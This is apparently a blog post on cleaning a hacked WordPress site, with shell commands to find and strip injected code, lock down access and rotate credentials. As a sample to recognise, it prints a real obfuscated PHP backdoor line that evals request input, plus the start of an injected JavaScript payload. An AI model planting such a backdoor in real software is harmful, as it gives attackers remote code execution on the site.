Cleaning a hacked Wordpess site

22 Feb 2016 in PHP, Web, Wordpress

If you are reading this, you may be in this situation:

So you've carefully installed WordPress, you've made it look exactly how you like with a decent theme, you've maybe installed some fancy plugins and you've crafted some fine posts and Pages. In short, you've put a lot of time and effort into your site.

Then, one day, you load up your site in your browser, and find that it's not there, or it redirects to a porn site, or your site is full of adverts for performance-enhancing drugs. It leaves you wondering, Why would anyone hack my website? What are you supposed to do now?

The entire experience of being compromised can feel devastating, making you wonder why you ever decided to create an online presence. Rest assured though it is not the end of the world, and there a number of practical steps you can take to address the problem once it's happened, and / or prevent it from ever happening again.

You can read the FAQ My site was hacked from wordpress.org in order to deal with the hack. Other than that, I will share some tips you may use in order to clean your files.

  • Deactivate the site or make it accessible only from your IP by adding on top of .htaccess the following directives:

    order deny,allow
    deny from all
    allow from W.X.Y.Z # this is your IP address
    

    This is a required step in order to block bots infecting more files.

  • Create a backup (files and database) or make sure that a current, working, backup exists. Useful if anything goes wrong.

  • Use maldet and findbot.pl via

    maldet -a /path/to/site
    /path/to/findbot.pl /path/to/site
    
  • Manually examine the files ordered by modification date, look for strange patterns and act accordingly:

    find /path/to/site -type f -printf '%T+\t%p\n' | sort -nr | less
    
  • Look for strange patterns on top of php files:

    for i in $(find /path/to/site -type f -name '*.php'); do echo "$i "; head -1 $i; echo ""; done | less -S
    

    When the files are something like this (real example):

    <?php    $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q828e00'])){eval(${$s20}['q828e00']);}?><?php
    

    you can clean with the following sed command:

    sed 's/<?php.*/<?php/'
    

    or enmasse:

    # WARNING: it may break non-infected files as well
    for i in $(find /path/to/site -type f -name '*.php'); do sed -i.bckp 's/<?php.*/<?php/' "$i" ; done
    
  • On bottom of php files:

    for i in $(find /path/to/site -type f -name '*.php'); do echo "$i "; tail -1 $i; echo ""; done | less -S 
    
  • On bottom of javascript files:

    for i in $(find /path/to/site -type f -name '*.js'); do echo "$i "; tail -1 $i; echo ""; done | less -S
    

    if these files have infected with a pattern like this (real example):

    /*a3d5ba6096d839a2936a817de24fbf2d*/;(function(){var ttntdaye="";var ikkykrzk="...
    

    you can apply the following command:

    for i in $(find /path/to/site -type f -name '*.js'); do sed -i.bckp 's/\/\*\([a-zA-Z0-9]\{32\}\)\*\/.*//' "$i" ; done
    

    in order to remove the infection.

  • Look for php files in wp-content/uploads/ directory and remove them:

    find /path/to/site/wp-content/uploads/ -name *.php
    
  • Change database credentials, administrator(s) passwords and generate new keys from the Wordpress key generator.

  • If you are unsure about the cleaning procedure, one way to prevent bots from infecting more files is to change file ownership, like:

    chown -R root:root /path/to/site
    chmod -R u+rw,go+r,go-w,+X /path/to/site
    
  • When done, revert the change made to .htaccess and hope for the best. This is why backups (both files and database), version control and updates are of utmost importance.